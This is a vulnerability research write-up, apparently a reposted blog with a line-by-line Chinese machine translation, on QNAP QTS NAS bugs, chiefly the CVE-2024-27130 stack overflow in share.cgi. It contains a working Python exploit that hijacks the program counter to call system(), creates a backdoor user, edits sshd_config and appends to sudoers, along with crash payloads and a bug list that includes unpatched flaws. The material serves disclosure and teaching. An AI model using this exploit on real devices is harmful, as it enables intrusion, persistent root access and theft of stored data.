QNAP QTS – QNAPping At The Wheel (CVE-2024-27130 and friends)

IoT 1个月前 admin
53 0 0

Infosec is, at it’s heart, all about that data. Obtaining access to it (or disrupting access to it) is in every ransomware gang and APT group’s top-10 to-do-list items, and so it makes sense that our research voyage would, at some point, cross paths with products intended to manage – and safeguard – this precious resource.
从本质上讲,信息安全是关于这些数据的。获取对它的访问(或中断对它的访问)是每个勒索软件团伙和 APT 组织的 10 大待办事项清单项目,因此我们的研究之旅在某个时候会与旨在管理和保护这一宝贵资源的产品相遇是有道理的。

We speak, ofcourse, of the class of NAS (or ‘Network-Attached Storage’) devices.
当然,我们说的是NAS(或“网络连接存储”)设备类别。

Usually used in multi-user environments such as offices, it’s not difficult to see why these are an attractive target for attackers. Breaching one means the acquisition of lots of juicy sensitive data, shared or otherwise, and the ever-present ransomware threat is so keenly aware of the value that attacking NAS devices provides that strains of malware have been developed specifically for them.
通常用于办公室等多用户环境,不难看出为什么这些环境对攻击者来说是一个有吸引力的目标。破坏一个意味着获取大量多汁的敏感数据,无论是共享的还是其他的,并且无处不在的勒索软件威胁非常敏锐地意识到攻击 NAS 设备提供的价值,因此专门为它们开发了恶意软件。

With a codebase bearing some long 10+ year legacy, and a long history of security weaknesses, we thought we’d offer a hand to the QNAP QTS product, by ripping it apart and finding some bugs. This post and analysis covers shared code found in a few different variants of the software:
凭借 10+ 年的悠久历史,以及长期存在的安全漏洞,我们认为我们会通过拆解 QNAP QTS 产品并发现一些错误来提供帮助。这篇文章和分析涵盖了在软件的几个不同变体中发现的共享代码:

  • QTS, the NAS ‘OS’ itself,
    QTS,NAS“操作系统”本身,
  • QuTSCloud, the VM-optimized version, and
    QuTSCloud、VM 优化版本和
  • ‘QTS hero’, a version with higher-performance features such as ZFS.
    “QTS hero”,具有更高性能功能的版本,例如 ZFS。

If you’re playing along at home, you can fetch a VM of QuTSCloud from QNAP’s site (we used the verbosely-named ’c5.1.7.2739 build 20240419’ for our initial analysis, and then used a hardware device to verify exploitation – more on this later). A subscription is pretty cheap and can be bought with short terms – a one-core subscription will cost 5 USD/month and so is great for reversing.
如果您在家玩游戏,可以从 QNAP 的网站获取 QuTSCloud 的虚拟机(我们使用详细名称的“c5.1.7.2739 build 20240419”进行初步分析,然后使用硬件设备来验证漏洞利用 – 稍后会详细介绍)。订阅非常便宜,可以在短期内购买 – 单核订阅的费用为 5 美元/月,因此非常适合逆转。

Given the shared-access model of the NAS device, which permits sharing files with specific users, both authenticated and unauthenticated bugs were of interest to us. We found no less than fifteen bugs of varying severity, and we’ll be disclosing most of these today (two are still under embargo, so they will have to wait for a later date).
鉴于 NAS 设备的共享访问模式允许与特定用户共享文件,我们对经过身份验证和未经身份验证的错误都感兴趣。我们发现了不少于 15 个不同严重程度的 bug,我们今天将披露其中的大部分(其中两个仍处于禁运状态,因此它们将不得不等待以后的日期)。

We will, however, be focusing heavily on one in particular – CVE-2024-27130, an unauthenticated stack overflow bug, which allows remote-code execution (albeit with a minor prerequisite). Here’s a video to whet your appetites:
但是,我们将特别关注一个 – CVE-2024-27130,这是一个未经身份验证的堆栈溢出错误,它允许远程代码执行(尽管有一个次要的先决条件)。这里有一个视频可以激发你的胃口:

0:00

/0:25

Spoilers! 剧 透!

We’ll be starting all the way back at ‘how we found it’ and concluding all the way at the always-exciting ‘getting a shell’.
我们将从“我们如何找到它”开始,一直到总是令人兴奋的“得到一个壳”结束。

First, though, we’ll take a high-level look at the NAS (feel free to skip this section if you’re impatient and just want to see some registers set to 0x41414141). With that done, we’ll burrow down into some code, find our bug, and ultimately pop a shell. Strap in!
不过,首先,我们将对 NAS 进行高层次的介绍(如果您不耐烦并且只想查看一些设置为 0x41414141 的寄存器,请随时跳过此部分)。完成这些后,我们将深入研究一些代码,找到我们的错误,并最终弹出一个 shell。系好安全带!

So What Is A NAS, Anyway?
那么,NAS到底是什么呢?

NAS devices are cut-down computers, designed to store and process large amounts of data, usually among team members. Typically, they are heavily optimized for this task, both in hardware (featuring fast IO and networking datapaths) and in software (offering easy ways to share and store data). The multi-user nature of such devices (”Oh, I’ll share this document with all the engineers plus Bob from accounting”) makes for an attractive (to hackers!) threat model.
NAS 设备是精简的计算机,旨在存储和处理大量数据,通常在团队成员之间。通常,它们在硬件(具有快速 IO 和网络数据路径)和软件(提供共享和存储数据的简单方法)方面都针对此任务进行了大量优化。这种设备的多用户性质(“哦,我会与所有工程师以及会计部门的 Bob 分享这份文档”)使得(对黑客来说!)威胁模型很有吸引力。

It’s tempting to look at these as small devices for small organisations, and while it’s true that they are a great way to convert a few hundred dollars into an easy way to share files in such an environment, it is actually underselling the range of such devices. At the high-end, QNAP offer machines with enterprise features like 100Gb networking and redundant components – these aren’t just device used by small enterprises, they are also used in large, complex environments.
人们很容易将这些设备视为小型组织的小型设备,虽然它们确实是将几百美元转换为在此类环境中共享文件的简单方法的好方法,但实际上它低估了此类设备的范围。在高端,QNAP 提供具有企业功能的机器,例如 100Gb 网络和冗余组件 – 这些设备不仅适用于小型企业,还可用于大型复杂环境。

QNAP QTS - QNAPping At The Wheel (CVE-2024-27130 and friends)

As we alluded to previously, the software on these devices is heavily optimized for data storage and maintenance.
正如我们之前提到的,这些设备上的软件针对数据存储和维护进行了大量优化。

Again, it would be an underestimation to think of these devices as simply ‘Linux with some management code’. While it’s true that QTS is built on a Linux base, it features a surprising array of software, all the way from a web-based UI to things like support for Docker containers.
同样,将这些设备简单地视为“带有一些管理代码的 Linux”是低估了。虽然 QTS 确实是建立在 Linux 基础上的,但它具有一系列令人惊讶的软件,从基于 Web 的 UI 到对 Docker 容器的支持。

To manage all this, QTS even has its own ‘app store’, shown below. It’s interesting to note that the applications themselves have a history of being buggy – for reasons of time, we concentrated our audit on QTS itself and didn’t look at the applications.
为了管理这一切,QTS 甚至有自己的“应用商店”,如下所示。有趣的是,应用程序本身也有错误的历史 – 由于时间原因,我们将审计集中在 QTS 本身上,而没有查看应用程序。

QNAP QTS - QNAPping At The Wheel (CVE-2024-27130 and friends)

Clearly, there’s a lot of complexity going on here, and where there’s complexity, there’s bugs – especially since the codebase, in some form or another, appears to have been in use for at least ten years (going by historic CVE data).
显然,这里有很多复杂性,哪里有复杂性,哪里就有错误——特别是因为代码库,以某种形式,似乎已经使用了至少十年(根据历史 CVE 数据)。

Peeking Inside The QTS 窥视 QTS 内部

We pulled down the “cloud” version of QNAP’s OS, QuTSCloud, which is simply a virtual machine from QNAP’s site. After booting it up and poking around in the web UI, we logged in to the console and took a look around the environment. What we found was an install of Linux, with some middleware exposed via HTTPS, enabling management. All good so far, right? Well, kinda.
我们下架了 QNAP 操作系统的“云”版本 QuTSCloud,它只是 QNAP 网站上的虚拟机。启动并在 Web UI 中浏览后,我们登录到控制台并环顾了一下环境。我们发现的是 Linux 的安装,其中有一些中间件通过 HTTPS 公开,从而实现管理。到目前为止一切都很好,对吧?嗯,有点。

So, what language do you think this middleware is written in? PHP? Python? Perl, even? Nope! You might be surprised to learn that it’s written in C, the hacker’s favorite language.
那么,你认为这个中间件是用什么语言编写的呢?PHP的?蟒?Perl,甚至?不!你可能会惊讶地发现它是用黑客最喜欢的语言C语言编写的。

QNAP QTS - QNAPping At The Wheel (CVE-2024-27130 and friends)
There’s some PHP present, although it doesn’t actually execute. Classy.
存在一些PHP,尽管它实际上没有执行。优雅。

Taking a look through the installed files reveals a surprising amount of cruft and mess, presumably left over from legacy versions of the software.
浏览已安装的文件会发现数量惊人的粗糙和混乱,可能是该软件的旧版本遗留下来的。

There is an instance of Apache listening on port 8080, which seemingly exists only to forward requests to a custom webserver, thttpd, listening on localhost. This custom webserver then calls a variety of CGI scripts (written in C, naturally).
有一个 Apache 监听端口 8080 的实例,它似乎只存在于将请求转发到自定义 Web 服务器 thttpd ,监听 localhost。然后,这个自定义 Web 服务器调用各种 CGI 脚本(自然是用 C 语言编写的)。

This thttpd is a fun browse, full of surprises:
thttpd 这是一个有趣的浏览,充满了惊喜:

if ( memcmp(a1->URL, "/cgi-bin/notify.cgi", 0x13uLL) == 0 )
{
    if ( strcmp(a1->header_auth, "Basic mjptzqnap209Opo6bc6p2qdtPQ==") != 0 )
    {

While this isn’t an actual bug, it’s a ‘code smell’ that suggests something weird is going on. What issue was so difficult to fix that the best remediation was a hardcoded (non-base64) authentication string? We can only wonder.
虽然这不是一个真正的错误,但它是一种“代码气味”,表明正在发生一些奇怪的事情。什么问题如此难以修复,以至于最佳补救措施是硬编码(非 base64)身份验证字符串?我们只能想知道。

At the start of any rip-it-apart session, there’s always the thought in the back of our minds; “are we going to find any bugs here”, and seeing this kind of thing serves as encouragement.
在任何撕裂会议开始时,我们的脑海中总会有这样的想法;“我们会在这里找到任何错误吗”,看到这种东西是一种鼓励。

If you look for them, they will come [out of the woodwork].
如果你寻找它们,它们就会[从木制品中]出来。

If you fuzz them, they will come
如果你把它们弄糊涂,它们就会来

Once we’d had a good dig around in the webserver itself, we turned our eyes to the CGI scripts that it executes.
一旦我们对 Web 服务器本身进行了很好的挖掘,我们就把目光转向了它执行的 CGI 脚本。

We threw a couple into our favorite disassembler, IDA Pro, and found a few initial bugs – dumb things like the use of sprintf with fixed buffers.
我们把几个扔进了我们最喜欢的反汇编程序 IDA Pro,并发现了一些最初的错误——一些愚蠢的东西,比如 sprintf 使用固定缓冲区。

We’ll go into detail about these bugs in a subsequent post, but for now, the relevant point is that most of these early bugs we found were memory corruptions of some kind or another – double frees, overflows, and the like. Given that we’d found so many memory corruption bugs, we thought we’d see if we could find any more simply by throwing long inputs at some CGI functions.
我们将在随后的文章中详细介绍这些错误,但就目前而言,相关的一点是,我们发现的大多数早期错误都是某种内存损坏 – 双重释放、溢出等。鉴于我们发现了如此多的内存损坏错误,我们认为我们可以通过在某些 CGI 函数上抛出长输入来看看是否能找到更多错误。

Why bother staring at disassembly when you can python -c "print('A' * 10000)" and get this:
为什么要盯着拆卸,如果可以 python -c "print('A' * 10000)" 的话,并得到这个:

$ curl --insecure https://192.168.228.128/cgi-bin/filemanager/share.cgi -d "ssid=28d86a96a8554c0cac5de8310c5b5ec8&func=get_file_size&total=1&path=/&name=`python -c \\"print('a' * 10000)\\"`"
2024-05-13 23:34:14,143 FATAL [default] CRASH HANDLED; Application has crashed due to [SIGSEGV] signal
2024-05-13 23:34:14,145 WARN  [default] Aborting application. Reason: Fatal log at [/root/daily_build/51x_C_01/5.1.x/NasLib/network_management/cpp_lib/easyloggingpp-master/src/easylogging++.h:5583]

A nice juicy segfault! We’re hitting it from an unauthenticated context, too, although we need to provide a valid ssid parameter (ours came from mutating a legitimate request).
一个漂亮多汁的段断!我们也从未经身份验证的上下文中点击它,尽管我们需要提供一个有效的 ssid 参数(我们的参数来自改变合法请求)。

To understand the impact of the bug, we need to know – where can we get this all-important value? Is it something anyone can get hold of, or is it some admin-only session token which makes our bug meaningless in a security context?
要了解 bug 的影响,我们需要知道 – 我们从哪里可以获得这个最重要的值?它是任何人都可以掌握的东西,还是一些仅限管理员的会话令牌,使我们的错误在安全上下文中毫无意义?

Sharing Is Caring 分享就是关怀

Well, it turns out that it is the identifier given out when a legitimate NAS user elects to ‘share a file’.
好吧,事实证明,这是合法NAS用户选择“共享文件”时给出的标识符。

As we mentioned previously, the NAS is designed to work in a multi-user environment, with users sharing files between each other. For this reason, it implements all the user-based file permissions you’d expect – a user could, for example, permit only the ‘marketing’ department access to a specific folder. However, it also goes a little further, as it allows files to be shared with users who don’t have an account on the NAS itself. How does it do this? By generating a unique link associated with the target file.
正如我们之前提到的,NAS被设计为在多用户环境中工作,用户之间共享文件。因此,它实现了您期望的所有基于用户的文件权限 – 例如,用户可以仅允许“营销”部门访问特定文件夹。但是,它也走得更远,因为它允许与在 NAS 本身没有帐户的用户共享文件。它是如何做到这一点的?通过生成与目标文件关联的唯一链接。

A quick demonstration might be better than trying to explain. Here’s what a NAS user might do if they want to share a file with a user who doesn’t have a NAS account (for example, an employee at a client organization) – they’d right-click the file and go to the ‘share’ submenu.
快速演示可能比试图解释要好。如果 NAS 用户想要与没有 NAS 帐户的用户(例如,客户组织的员工)共享文件,他们可能会执行以下操作 – 他们只需右键单击该文件并转到“共享”子菜单。

QNAP QTS - QNAPping At The Wheel (CVE-2024-27130 and friends)

As you can see, there are functions to push the generated link via email, or even via a ‘social network’. All of these will generate a unique token to identify the link, which has a bunch of properties associated with it – you can set expiry or even require a password for the shared file.
如您所见,有一些功能可以通过电子邮件甚至通过“社交网络”推送生成的链接。所有这些都将生成一个唯一的令牌来标识链接,该链接具有一堆与之关联的属性 – 您可以设置过期时间,甚至需要共享文件的密码。

QNAP QTS - QNAPping At The Wheel (CVE-2024-27130 and friends)

We’re not interested in these, though, so we’ll just create the link. We’re rewarded with a link that looks like this:
不过,我们对这些不感兴趣,所以我们只创建链接。我们得到的奖励是这样的链接:

https://192.168.228.128/share.cgi?ssid=28d86a96a8554c0cac5de8310c5b5ec8

As you can see, the all-important ssid is present, representing all the info about the shared file. That’s what we need to trigger our segfault. While this limits the usefulness of the bug a little – true unauthenticated bugs are much more fun! – it’s a completely realistic attack scenario that a NAS user has shared a file with an untrusted user. We can, of course, verify this expectation by turning to a quick-and-dirty google dork, which finds a whole bunch of ssids, verifying our assumption that sharing a file with the entire world is something that is done frequently by NAS users. Great – onward with our bug!
如您所见,最重要的内容 ssid 是存在的,表示有关共享文件的所有信息。这就是我们触发段错误所需要的。虽然这在一定程度上限制了 bug 的实用性 – 真正的未经身份验证的 bug 更有趣!- NAS 用户与不受信任的用户共享文件是完全真实的攻击场景。当然,我们可以通过求助于一个快速而肮脏的谷歌傻瓜来验证这一期望,它发现了一大堆 ssids ,验证了我们的假设,即与整个世界共享文件是NAS用户经常做的事情。太好了 – 继续我们的错误!

One Man ARMy 一个人 ARMy

Having verified the bug is accessible anonymously, we dug into the bug with a debugger.
在验证了该错误可以匿名访问后,我们使用调试器深入研究了该错误。

We quickly found that we have control of the all-important RIP register, along with a few others, but since the field that triggers the overflow – the name parameter – is a string, exploitation is made somewhat more complex by our inability to add null bytes to the payload.
我们很快发现,我们可以控制最重要的 RIP 寄存器以及其他一些寄存器,但由于触发溢出的字段( name 参数)是一个字符串,因此由于我们无法向有效负载添加空字节,因此利用变得更加复杂。

Fear not, though – there is an easier route to exploitation, one that doesn’t need us to sidestep this inability!
不过,不要害怕——有一条更简单的剥削途径,一条不需要我们回避这种无能为力的途径!

What if, instead of trying to exploit on arm64-based hardware, with their pesky 64bit addresses and their null bytes, we could exploit on some 32-bit hardware instead? We speak not of 32-bit x86. which it would be difficult to find in the wild, but of an ARM-based system.
如果我们不尝试在基于 arm64 的硬件上利用它们讨厌的 64 位地址和空字节,而是在某些 32 位硬件上利用它们,那会怎样?我们说的不是 32 位 x86。在野外很难找到,但基于 ARM 的系统。

ARM-based systems, as you might know, are usually used in embedded devices such as mobile phones, where it is important to minimize power usage while maintaining a high performance-per-watt figure. This sounds ideal for many NAS users, for whom a NAS device simply needs to ferry some data between the network and the disk, without any heavy computation.
如您所知,基于 ARM 的系统通常用于移动电话等嵌入式设备,在这些设备中,在保持高每瓦性能数字的同时最大限度地降低功耗非常重要。对于许多 NAS 用户来说,这听起来是理想的选择,对他们来说,NAS 设备只需要在网络和磁盘之间传输一些数据,而无需任何繁重的计算。

QNAP make a number of devices that fit into this category, using ARM processors, and were kind enough to grant us access to an ARM-based device in their internal test environment (!) for us to investigate one of our other issues, so we took a look at it.
QNAP 制造了许多属于此类别的设备,使用 ARM 处理器,并且很友善地允许我们访问其内部测试环境中基于 ARM 的设备 (!),以便我们调查其他问题之一,因此我们看了一下。

[~] # uname -a
Linux [redacted] 4.2.8 #2 SMP Fri Jul 21 05:07:50 CST 2023 armv7l unknown
[~] # grep model /proc/cpuinfo | head -n 1
model name      : Annapurna Labs Alpine AL214 Quad-core ARM Cortex-A15 CPU @ 1.70GHz

Wikipedia tells us the ARMv7 uses a 32-bit address space, which will make exploitation a lot easier. Before we jump to exploitation, here’s the vulnerable pseudocode:
维基百科告诉我们,ARMv7 使用 32 位地址空间,这将使利用变得更加容易。在我们跳到漏洞利用之前,这里是易受攻击的伪代码:

_int64 No_Support_ACL(char *a1)
{
  char v2[128];
  char dest[4104];
  char *delim;
  unsigned int returnValue;
  char *filename;

  returnValue = 1;
  delim = "/";
  filename = 0LL;
  if ( !a1 )
    return returnValue;
  if ( *a1 == '/' )
  {
    strcpy(dest, a1);
    filename = strtok(dest, delim);
  }
  // irrelevant code omitted
  return returnValue;
}

It’s pretty standard stuff – we’ve got a 4104-byte buffer, and if the input to the function (provided by us) begins with a slash, we’ll copy the entire input into this 4104-byte buffer, even if it is too long to fit, and we’ll overwrite three local variables – delimreturnValue, and then filename. It turns out that we’re in even more luck, as the function stores its return address on the stack (rather than in ARM’s dedicated ‘Link Register’), and so we can take control of the program counter, PC, with a minimum of fuss.
这是非常标准的东西 – 我们有一个 4104 字节的缓冲区,如果函数的输入(由我们提供)以斜杠开头,我们会将整个输入复制到这个 4104 字节的缓冲区中,即使它太长而无法容纳,我们将覆盖三个局部变量 – delim 、 returnValue 和 filename .事实证明,我们更幸运,因为该函数将其返回地址存储在堆栈中(而不是存储在 ARM 专用的“链接寄存器”中),因此我们可以毫不费力地控制程序计数器 PC。

Finally, the module has been compiled without stack cookies, an important mitigation which could’ve made exploitation difficult or even impossible.
最后,该模块是在没有堆栈 cookie 的情况下编译的,这是一个重要的缓解措施,可能会使漏洞利用变得困难甚至不可能。

At this point, we made the decision to disable ASLR, a key mitigation for memory corruption attacks, in order to demonstrate and share a PoC, while preventing the exploit from being used maliciously.
此时,我们决定禁用 ASLR(内存损坏攻击的关键缓解措施),以演示和共享 PoC,同时防止恶意利用该漏洞。

# echo 0 > /proc/sys/kernel/randomize_va_space

That done, let’s craft some data and see what the target machine ends up.
完成后,让我们制作一些数据,看看目标机器最终会得到什么。

    buf = b'A' * 4082
    buf = buf + (0xbeefd00d).to_bytes(4, 'little')  // delimiter
    buf = buf + (0xcaffeb0d).to_bytes(4, 'little')  // returnValue
    buf = buf + (0xdead1337).to_bytes(4, 'little')  // filename
    buf = buf + (0xea7c0de2).to_bytes(4, 'little')  // 
    buf = buf + (0xc0debabe).to_bytes(4, 'little')  // PC

    payload = {
        'ssid': [ insert valid ssid here ],
        'func': 'get_file_size',
        'total': '1',
        'path': '/',
        'name': buf
    }

    resp = requests.post(
        f"http://{args.host}/cgi-bin/filemanager/share.cgi",
        verify=False,
        data=payload
    )

Let’s see what happens: 让我们看看会发生什么:

Program received signal SIGSEGV, Segmentation fault.
0x72e87faa in strspn () from /lib/libc.so.6
(gdb) x/1i $pc
=> 0x72e87faa <strspn+6>:       ldrb    r5, [r1, #0]
(gdb) info registers r1
r1             0xbeefd00d       3203387405

So we’re trying to dereference this address – 0xbeefd00d – which we supplied. Fair enough – let’s provide a valid pointer instead of the constant. Our input string is located at 0x54140508 in memory (as discovered by x/1s $r8 ) so let’s put that in and re-run.
因此,我们试图取消引用我们提供的这个地址 0xbeefd00d 。很公平 – 让我们提供一个有效的指针而不是常量。我们的输入字符串位于内存 0x54140508 中(由 发现), x/1s $r8 所以让我们把它放进去并重新运行。

What happens? Maybe we’ll be in luck and it’ll be something useful to us.
会发生什么?也许我们会很幸运,这对我们有用。

Program received signal SIGSEGV, Segmentation fault.
0xc0debabc in ?? ()
(gdb) info registers
r0             0xcaffeb0d       3405769485
r1             0x73baf504       1941632260
r2             0x7dff5c00       2113887232
r3             0xcaffeb0d       3405769485
r4             0x540ed8fc       1410259196
r5             0x540ed8fc       1410259196
r6             0x54147fc8       1410629576
r7             0xea7c0de2       3933998562
r8             0x54140508       1410598152
r9             0x1      1
r10            0x0      0
r11            0x0      0
r12            0x73bda880       1941809280
sp             0x7dff5c10       0x7dff5c10
lr             0x73b050f3       1940934899
pc             0xc0debabc       0xc0debabc
cpsr           0x10     16

Oh ho ho ho! We’re in luck indeed! Not only have we set the all-important PC value to a value of our choosing, but we’ve also set r0 and r3 to 0xcaffeb0d, and r7 to 0xea5c0de2.
呵!我们确实很幸运!我们不仅将最重要的 PC 值设置为我们选择的值,而且还将 r0 和 r3 设置为 0xcaffeb0d 、 和 r7 0xea5c0de2 。

The stars have aligned to give us an impressive amount of control. As those familiar with ARM will already know, the first four function arguments are typically passed in r0 through r3, and so we can control not only what gets executed (via PC ) but also it’s first argument. A clear path to exploitation is ahead of us – can you see it?
星星已经对齐,为我们提供了令人印象深刻的控制权。熟悉 ARM 的人已经知道,前四个函数参数通常是通过 r3 传入 r0 的,因此我们不仅可以控制执行的内容(通过 PC ),还可以控制它的第一个参数。一条清晰的剥削之路摆在我们面前——你能看到吗?

The temptation to set the PC to the system function call is simply too great to resist. All we need do is supply a pointer to our argument in r0 (if you recall, this is 0x54140508 ). We’ll bounce through the following system thunk, found in /usr/lib/libuLinux_config.so.0 :
将 PC 设置为 system 函数调用的诱惑实在是太大了,无法抗拒。我们需要做的就是提供指向我们的论点的指针 r0 (如果你还记得的话,这是 0x54140508 )。我们将反弹以下 system thunk,可在以下位置 /usr/lib/libuLinux_config.so.0 找到:

.plt:0002C148 ; int system(const char *command)
.plt:0002C148 system                                  ; CODE XREF: stop_stunnel+A↓p
.plt:0002C148                                         ; start_stunnel+A↓p ...
.plt:0002C148                 ADRL            R12, 0x111150
.plt:0002C150                 LDR             PC, [R12,#(system_ptr - 0x111150)]! ; __imp_system

We can easily find it:
我们可以很容易地找到它:

(gdb) info sharedlibrary libuLinux_config.so.0
From        To          Syms Read   Shared Object Library
0x73af7eb8  0x73bab964  Yes (*)     /usr/lib/libuLinux_config.so.0

That address is the start of the .text function, which IDA tells us is at +0x2eeb8, so the real module base is 73ac9000. Adding the 0x2c148 offset to system gives us our ultimate value: 0x73af5148. We’ll slot these into our PoC, set our initial payload to some valid command, and see what happens. Note our use of a bash comment symbol (’#’) to ensure the rest of the line isn’t interpreted by bash.
该地址是 .text 函数的起点,IDA 告诉我们该地址位于 +0x2eeb8 ,因此实际模块基是 73ac9000 。将 0x2c148 偏移量相加, system 即可获得最终值: 0x73af5148 。我们将这些插入到我们的 PoC 中,将我们的初始有效负载设置为一些有效的命令,然后看看会发生什么。请注意,我们使用 bash 注释符号 (’#’) 来确保行的其余部分不会被 bash 解释。

    buf = b"/../../../../bin/echo noot noot > /tmp/watchtowr #"
    buf = buf + b'A' * (4082 - len(buf))
    buf = buf + (0x54140508).to_bytes(4, 'little')  # delimiter
    buf = buf + (0x54140508).to_bytes(4, 'little')  # r0 and r3
    buf = buf + (0x54140508).to_bytes(4, 'little')  #
    buf = buf + (0x54140508).to_bytes(4, 'little')  # r7
    buf = buf + (0x73af5148).to_bytes(4, 'little')  # pc
[/] # cat /tmp/watchtowr
noot noot

Fantastic! Code execution is verified!
匪夷所思!代码执行已验证!

QNAP QTS - QNAPping At The Wheel (CVE-2024-27130 and friends)
Ask not for whom the Pingu noots; he noots for thee
不要问平谷为谁而烦恼;他为你吝啬

What shall we do with our new-found power? Well, let’s add a user to the system so we can log in properly.
我们该如何利用我们新发现的力量?好吧,让我们向系统添加一个用户,以便我们可以正确登录。

"/../../../../usr/local/bin/useradd -p \\"$(openssl passwd -6 [redacted password])\\" watchtowr  #"

Since QNAP systems restrict who is allowed to log in via SSH, we’ll manually tweak the sshd config and then reload the SSH server.
由于 QNAP 系统限制允许谁通过 SSH 登录,我们将手动调整 sshd 配置,然后重新加载 SSH 服务器。

/bin/sed -i -e 's/AllowUsers /AllowUsers watchtowr /' /etc/config/ssh/sshd_config # 
/../../../../usr/bin/killall -SIGHUP sshd # 

Finally, since being unprivileged is boring, we’ll add an entry to the sudoers config so we can simply assume superuser privileges.
最后,由于无特权很无聊,我们将在 sudoers 配置中添加一个条目,以便我们可以简单地假设超级用户权限。

/../../../../bin/echo watchtowr ALL=\\\\(ALL\\\\) ALL >> /usr/etc/sudoers # 

Our final exploit, in its entirety:
我们最后的漏洞,完整地说:

import argparse
import os
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser(prog='PoC', description='PoC for CVE-2024-27130', usage="Obtain an 'ssid' by requesting a NAS user to share a file to you.")
parser.add_argument('host')
parser.add_argument('ssid')

def main(args):
    docmd(args, f"/../../../../usr/local/bin/useradd -p \\"$(openssl passwd -6 {parsedArgs.password})\\" watchtowr  #".encode('ascii'))
    docmd(args, b"/bin/sed -i -e 's/AllowUsers /AllowUsers watchtowr /' /etc/config/ssh/sshd_config # ")
    docmd(args, b"/../../../../bin/echo watchtowr ALL=\\\\(ALL\\\\) ALL >> /usr/etc/sudoers # ")
    docmd(args, b"/../../../../usr/bin/killall -SIGHUP sshd # ")

def docmd(args, cmd):
    print(f"Doing command '{cmd}'")
    buf = cmd
    buf = buf + b'A' * (4082 - len(buf))
    buf = buf + (0x54140508).to_bytes(4, 'little')  # delimiter
    buf = buf + (0x54140508).to_bytes(4, 'little')  # r0 and r3
    buf = buf + (0x54140508).to_bytes(4, 'little')  #
    buf = buf + (0x54140508).to_bytes(4, 'little')  # r7
    buf = buf + (0x73af5148).to_bytes(4, 'little')  # pc

    payload = {
        'ssid': args.ssid,
        'func': 'get_file_size',
        'total': '1',
        'path': '/',
        'name': buf
    }

    requests.post(
        f"https://{args.host}/cgi-bin/filemanager/share.cgi",
        verify=False,
        data=payload,
        timeout=2
    )

def makeRandomString():
    chars = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789"
    return "".join(chars[c % len(chars)] for c in os.urandom(8))

parsedArgs = parser.parse_args()
parsedArgs.password = makeRandomString()

main(parsedArgs)
print(f"Created new user OK. Log in with password '{parsedArgs.password}' when prompted.")
os.system(f'ssh watchtowr@{parsedArgs.host}')

Well, almost in its entirety – check out our GitHub repository for the completed PoC and exploit scripts.
好吧,几乎是完整的 – 查看我们的 GitHub 存储库,了解完整的 PoC 和漏洞利用脚本。

QNAP QTS - QNAPping At The Wheel (CVE-2024-27130 and friends)

Here’s the all-important root shell picture!
这是最重要的根壳图片!

Note: As discussed above, in order to demonstrate and share a PoC, while preventing the exploit from being used maliciously as this vulnerability is unpatched, this PoC relies on a target that has had ASLR manually disabled.
注意:如上所述,为了演示和共享 PoC,同时防止在未修补此漏洞时恶意使用漏洞,此 PoC 依赖于手动禁用 ASLR 的目标。

Those of you who practice real-world offensive research, such as red-teamers, may be reeling at the inelegance of our PoC exploit. It is unlikely that such noisy actions as adding a system user and restarting the ssh daemon will go unnoticed by the system administrator!
那些从事真实世界进攻性研究的人,例如红队队员,可能会对我们的 PoC 漏洞的不优雅感到震惊。添加系统用户和重新启动 ssh 守护程序等嘈杂操作不太可能被系统管理员忽视!

Remember, though, our aim here is to validate the exploit, not provide a real-world capability (today).
但请记住,我们在这里的目的是验证漏洞利用,而不是提供真实世界的能力(今天)。

Wrap-Up 结束语

So, what’ve we done today?
那么,我们今天做了什么?

Well, we’ve demonstrated the exploitation of a stack buffer overflow issue in the QNAP NAS OS.
好了,我们已经演示了如何利用 QNAP NAS OS 中的堆栈缓冲区溢出问题。

We’ve mentioned that we found fifteen bugs – here’s a list of them, in brief. We’ve used CVE identifiers where possible, and where not, we’ve used our own internal reference number to differentiate the bugs.
我们已经提到我们发现了 15 个 bug – 以下是它们的列表,简要介绍一下。我们尽可能使用 CVE 标识符,如果没有,我们使用自己的内部参考编号来区分 bug。

As we mentioned before, we’ll go into all the gory details of all these bugs in a subsequent post, along with PoC details you can use to verify your exposure.
正如我们之前提到的,我们将在随后的帖子中介绍所有这些错误的所有血腥细节,以及可用于验证您的暴露的 PoC 详细信息。

Bug Nature Fix status 修复状态 Requirements
CVE-2023-50361 Unsafe use of sprintf in getQpkgDir invoked from userConfig.cgi leads to stack buffer overflow and thus RCE
不安全地 sprintf getQpkgDir 使用 in 从 userConfig.cgi 引线调用堆栈缓冲区溢出,从而导致 RCE
Patched (see text) 已修补(见正文) Requires valid account on NAS device
需要 NAS 设备上的有效帐户
CVE-2023-50362 Unsafe use of SQLite functions accessible via parameter addPersonalSmtp to userConfig.cgi leads to stack buffer overflow and thus RCE
不安全地使用通过参数访问的 SQLite 函数 addPersonalSmtp 会导致 userConfig.cgi 堆栈缓冲区溢出,从而导致 RCE
Patched (see text) 已修补(见正文) Requires valid account on NAS device
需要 NAS 设备上的有效帐户
CVE-2023-50363 Missing authentication allows two-factor authentication to be disabled for arbitrary user
缺少身份验证允许为任意用户禁用双因素身份验证
Patched (see text) 已修补(见正文) Requires valid account on NAS device
需要 NAS 设备上的有效帐户
CVE-2023-50364 Heap overflow via long directory name when file listing is viewed by get_dirs function of privWizard.cgi leads to RCE
当通过 get_dirs 指向 RCE 的功能 privWizard.cgi 查看文件列表时,通过长目录名称进行堆溢出
Patched (see text) 已修补(见正文) Requires ability to write files to the NAS filesystem
需要能够将文件写入 NAS 文件系统
CVE-2024-21902 Missing authentication allows all users to view or clear system log, and perform additional actions (details to follow, too much to list here)
缺少身份验证允许所有用户查看或清除系统日志,并执行其他操作(要遵循的详细信息,此处无法列出)
Accepted by vendor; no fix available (first reported December 12th 2023)
被供应商接受;没有可用的修复程序(2023 年 12 月 12 日首次报告)
Requires valid account on NAS device
需要 NAS 设备上的有效帐户
CVE-2024-27127 A double-free in utilRequest.cgi via the delete_share function
双释放输入 utilRequest.cgi 通过 delete_share 函数
Accepted by vendor; no fix available (first reported January 3rd 2024)
被供应商接受;没有可用的修复程序(2024 年 1 月 3 日首次报告)
Requires valid account on NAS device
需要 NAS 设备上的有效帐户
CVE-2024-27128 Stack overflow in check_email function, reachable via the share_file and send_share_mail actions of utilRequest.cgi (possibly others) leads to RCE
函数中的 check_email 堆栈溢出,可通过 utilRequest.cgi (可能是其他人) share_file 的 和 send_share_mail 操作访问,导致 RCE
